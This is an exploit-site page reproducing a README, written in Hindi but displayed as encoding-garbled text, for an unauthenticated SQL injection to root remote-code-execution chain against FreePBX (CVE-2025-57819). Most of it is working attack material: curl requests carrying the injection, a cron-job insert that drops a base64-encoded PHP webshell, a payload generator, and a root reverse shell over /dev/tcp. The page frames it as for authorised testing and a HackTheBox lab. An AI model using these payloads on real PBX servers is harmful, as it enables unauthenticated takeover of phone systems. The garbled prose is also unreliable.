Sploitus

Exploit for FreePBX

kitploit ┬╖ 2026-08-28

Exploit Code

MARKDOWN206 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YUVRAJSHAD-FREEPBX-CVE-2025-57819
# FreePBX CVE-2025-57819 тАФ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ SQLi рд╕реЗ рд░реВрдЯ RCE рддрдХ

> **рдЧрдВрднреАрд░рддрд╛:** рдХреНрд░рд┐рдЯрд┐рдХрд▓  
>  **рдкреНрд░рдХрд╛рд░:** рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ SQL рдЗрдВрдЬреЗрдХреНрд╢рди тЖТ рд░рд┐рдореЛрдЯ рдХреЛрдб рдПрдХреНрдЬрд╝реАрдХреНрдпреВрд╢рди  
>  **рдкреНрд░рднрд╛рд╡рд┐рдд рд╕реЙрдлреНрдЯрд╡реЗрдпрд░:** FreePBX (endpoint рдореЙрдбреНрдпреВрд▓)  
>  **рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛:** CentOS 7 рдкрд░ FreePBX, Apache 2.4, PHP 7.4, MariaDB 5.5

## рдЕрд╡рд▓реЛрдХрди

FreePBX рдХреЗ `endpoint` рдореЙрдбреНрдпреВрд▓ рдореЗрдВ `/admin/ajax.php` рдХреЗ `brand` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓реА SQL рдЗрдВрдЬреЗрдХреНрд╢рди рднреЗрджреНрдпрддрд╛ рдореМрдЬреВрдж рд╣реИред рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

FreePBX рдХреЗ рдЖрдВрддрд░рд┐рдХ рдХреНрд░реЙрди рдЬреЙрдм рддрдВрддреНрд░ рдФрд░ `incron`/`fwconsole` рд╣реБрдХ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░, рдпрд╣ рдкреВрд░реНрдг рд░реВрдк рд╕реЗ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓рд╛ рд░реВрдЯ рд╢реЗрд▓ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

## рд╣рдорд▓реЗ рдХреА рд╢реНрд░реГрдВрдЦрд▓рд╛

root@kitploit:~
    
    
    [No Auth Required]
            тФВ
            тЦ╝
    Unauthenticated SQL Injection
    (/admin/ajax.php тЖТ brand parameter)
            тФВ
            тФЬтФАтФАтЦ║ Extract DB credentials, user hashes
            тФВ
            тФЬтФАтФАтЦ║ INSERT into cron_jobs
            тФВ         тФВ
            тФВ         тФФтФАтФАтЦ║ PHP webshell dropped in web root
            тФВ                   тФВ
            тФВ                   тФФтФАтФАтЦ║ RCE as asterisk (user flag)
            тФВ
            тФФтФАтФАтЦ║ Write incron trigger file (as asterisk)
                      тФВ
                      тФФтФАтФАтЦ║ sysadmin_manager fires as root
                                тФВ
                                тФФтФАтФАтЦ║ fwconsole hook тЖТ Root Shell
    

## рдЙрдкрдпреЛрдЧ

root@kitploit:~
    
    
    pip install requests
    python3 CVE-2025-57819.py <target> <lhost> <lport>
    

**рдЙрджрд╛рд╣рд░рдг:**

root@kitploit:~
    
    
    python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999
    

**рдЖрдЙрдЯрдкреБрдЯ:**

root@kitploit:~
    
    
    [*] Verifying Unauthenticated SQLi...
    [+] SQLi confirmed!
    [+] Database : asterisk
    [+] Version  : 5.5.65-MariaDB
    [+] DB User  : freepbxuser@localhost
    [*] Inserting Cron Job to Drop Webshell...
    [+] Cron job inserted тАФ waiting up to 90s for it to fire...
    [+] Webshell active! тЖТ uid=999(asterisk) gid=1000(asterisk)
    [+] User Flag тЖТ HTB{REDACTED}
    [*] Triggering Root Shell тЖТ 10.10.xx.xx:9999
    [+] Trigger file created тАФ incron will fire it as root!
    

## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ

### рдЪрд░рдг 1 тАФ SQL рдЗрдВрдЬреЗрдХреНрд╢рди

endpoint рдореЙрдбреНрдпреВрд▓ AJAX рд╣реИрдВрдбрд▓рд░ рдореЗрдВ `brand` рдкреИрд░рд╛рдореАрдЯрд░ рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╕реИрдирд┐рдЯрд╛рдЗрдЬрд╝реЗрд╢рди рдХреЗ рд╕реАрдзреЗ SQL рдХреНрд╡реЗрд░реА рдореЗрдВ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

root@kitploit:~
    
    
    GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
        &command=model&template=x&model=model
        &brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
    

рдпрд╣ XPATH рдПрд░рд░ рдХреЗ рдЕрдВрджрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рдирд╛рдо рд▓реМрдЯрд╛рддрд╛ рд╣реИ тАФ рдпрд╣ рдПрд░рд░-рдЖрдзрд╛рд░рд┐рдд SQLi рдХреА рдПрдХ рдХреНрд▓рд╛рд╕рд┐рдХ рддрдХрдиреАрдХ рд╣реИред рд╕реНрдЯреИрдХреНрдб рдХреНрд╡реЗрд░реА рднреА рд╕рдорд░реНрдерд┐рдд рд╣реИрдВ, рдЬреЛ `INSERT`, `UPDATE`, рдФрд░ `DELETE` рдСрдкрд░реЗрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВред

### рдЪрд░рдг 2 тАФ рдХреНрд░реЙрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡реЗрдмрд╢реЗрд▓

рд╕реНрдЯреИрдХреНрдб рдХреНрд╡реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, FreePBX рдХреА `cron_jobs` рдЯреЗрдмрд▓ рдореЗрдВ рдПрдХ рдХреНрд░реЙрди рдЬреЙрдм рдбрд╛рд▓реА рдЬрд╛рддреА рд╣реИ:

root@kitploit:~
    
    
    INSERT INTO cron_jobs 
      (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
    VALUES 
      ('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
       NULL, '* * * * *', 30, 1, 1)
    

FreePBX рдХрд╛ рдХреНрд░реЙрди рд░рдирд░ рдЗрд╕реЗ рд╣рд░ рдорд┐рдирдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡реЗрдм рд░реВрдЯ рдореЗрдВ рдПрдХ PHP рд╡реЗрдмрд╢реЗрд▓ рдбрд╛рд▓ рджреА рдЬрд╛рддреА рд╣реИред

### рдЪрд░рдг 3 тАФ Incron + fwconsole рд╣реБрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░реВрдЯ

`incrond` `/var/spool/asterisk/incron/` рдкрд░ рдирдЬрд╝рд░ рд░рдЦрддрд╛ рд╣реИ (рдЬреЛ `asterisk` рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╣реИ)ред рдЬрдм рд╡рд╣рд╛рдБ рдХреЛрдИ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ, рддреЛ рдпрд╣ `/usr/bin/sysadmin_manager` рдХреЛ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИред

рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдкреНрд░рд╛рд░реВрдк `api.fwconsole-commands.<payload>` рдирд┐рдореНрди рд╕реНрдерд╛рди рдкрд░ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж GPG-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рд╣реБрдХ рд╕реЗ рдореИрдк рд╣реЛрддрд╛ рд╣реИ:

root@kitploit:~
    
    
    /var/www/html/admin/modules/api/hooks/fwconsole-commands
    

рд╣реБрдХ рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдХреЛ `base64(zlib(json([cmd, txn_id])))` рдкреЗрд▓реЛрдб рдХреЗ рд░реВрдк рдореЗрдВ рдбрд┐рдХреЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ:

root@kitploit:~
    
    
    $cmd = "/usr/sbin/fwconsole $command 2>&1";
    

`help;` рдХреЛ рдкреНрд░реАрдлрд┐рдХреНрд╕ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ fwconsole рдЗрд╕реЗ рдПрдХ рд╡реИрдз рдХрдорд╛рдВрдб рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд▓реЗрддрд╛ рд╣реИ, рдФрд░ `;` рдордирдорд╛рдиреЗ рд╢реЗрд▓ рдХрдорд╛рдВрдб рдХреЛ рдЬреЛрдбрд╝рддрд╛ рд╣реИ:

root@kitploit:~
    
    
    help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
    

рдпрд╣ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреВрд░реНрдг рд░реВрдЯ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред

## рдореИрдиреНрдпреБрдЕрд▓ рд╢реЛрд╖рдг

### рдЪрд░рдг 1 тАФ SQLi рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ

root@kitploit:~
    
    
    curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
    &command=model&template=x&model=model\
    &brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"
    

### рдЪрд░рдг 2 тАФ рд╡реЗрдмрд╢реЗрд▓ рдбрд╛рд▓реЗрдВ

root@kitploit:~
    
    
    curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
    &command=model&template=x&model=model\
    &brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
    +VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
    +>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"
    

### рдЪрд░рдг 3 тАФ рд░реВрдЯ рдкреЗрд▓реЛрдб рдЬрдирд░реЗрдЯ рдХрд░реЗрдВ

root@kitploit:~
    
    
    # Save to file to avoid shell quoting issues
    cat > gen.py << 'EOF'
    import base64, json, zlib
    cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
    payload = base64.b64encode(
        zlib.compress(json.dumps([cmd, "txn"]).encode())
    ).decode().replace("/", "_")
    print(payload)
    EOF
    python3 gen.py
    

### рдЪрд░рдг 4 тАФ рд░реВрдЯ рд╢реЗрд▓ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВ

root@kitploit:~
    
    
    # On the target (as asterisk via webshell)
    touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
    

## рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рджреМрд░рд╛рди рдкреНрд░рдореБрдЦ рдирд┐рд╖реНрдХрд░реНрд╖

## рдкреНрд░рдХрдЯреАрдХрд░рдг рд╕рдордпрд░реЗрдЦрд╛

рджрд┐рдирд╛рдВрдХ| рдШрдЯрдирд╛  
---|---  
2025| рднреЗрджреНрдпрддрд╛ рдЦреЛрдЬреА рдЧрдИ рдФрд░ рд░рд┐рдкреЛрд░реНрдЯ рдХреА рдЧрдИ  
2025-11-30| HackTheBox рдкрд░ рдмреЙрдХреНрд╕ рддреИрдирд╛рдд рдХрд┐рдпрд╛ рдЧрдпрд╛  
2025| CVE-2025-57819 рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛  
  
## рдЕрд╕реНрд╡реАрдХрд░рдг

рдпрд╣ рдЯреВрд▓ рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдФрд░ рдЕрдзрд┐рдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рд╣реИред рдЙрди рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреЗ рд╡рд┐рд░реБрджреНрдз рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВ рдЬрд┐рдирдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреА рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИред рд▓реЗрдЦрдХ рдХрд┐рд╕реА рднреА рджреБрд░реБрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЬрд╝рд┐рдореНрдореЗрджрд╛рд░ рдирд╣реАрдВ рд╣реИред

## рд╕рдВрджрд░реНрдн

  * watchTowr Labs PoC
  * FreePBX рд╕реБрд░рдХреНрд╖рд╛ рд╕рд▓рд╛рд╣
  * CVE-2025-57819 рд╡рд┐рд╡рд░рдг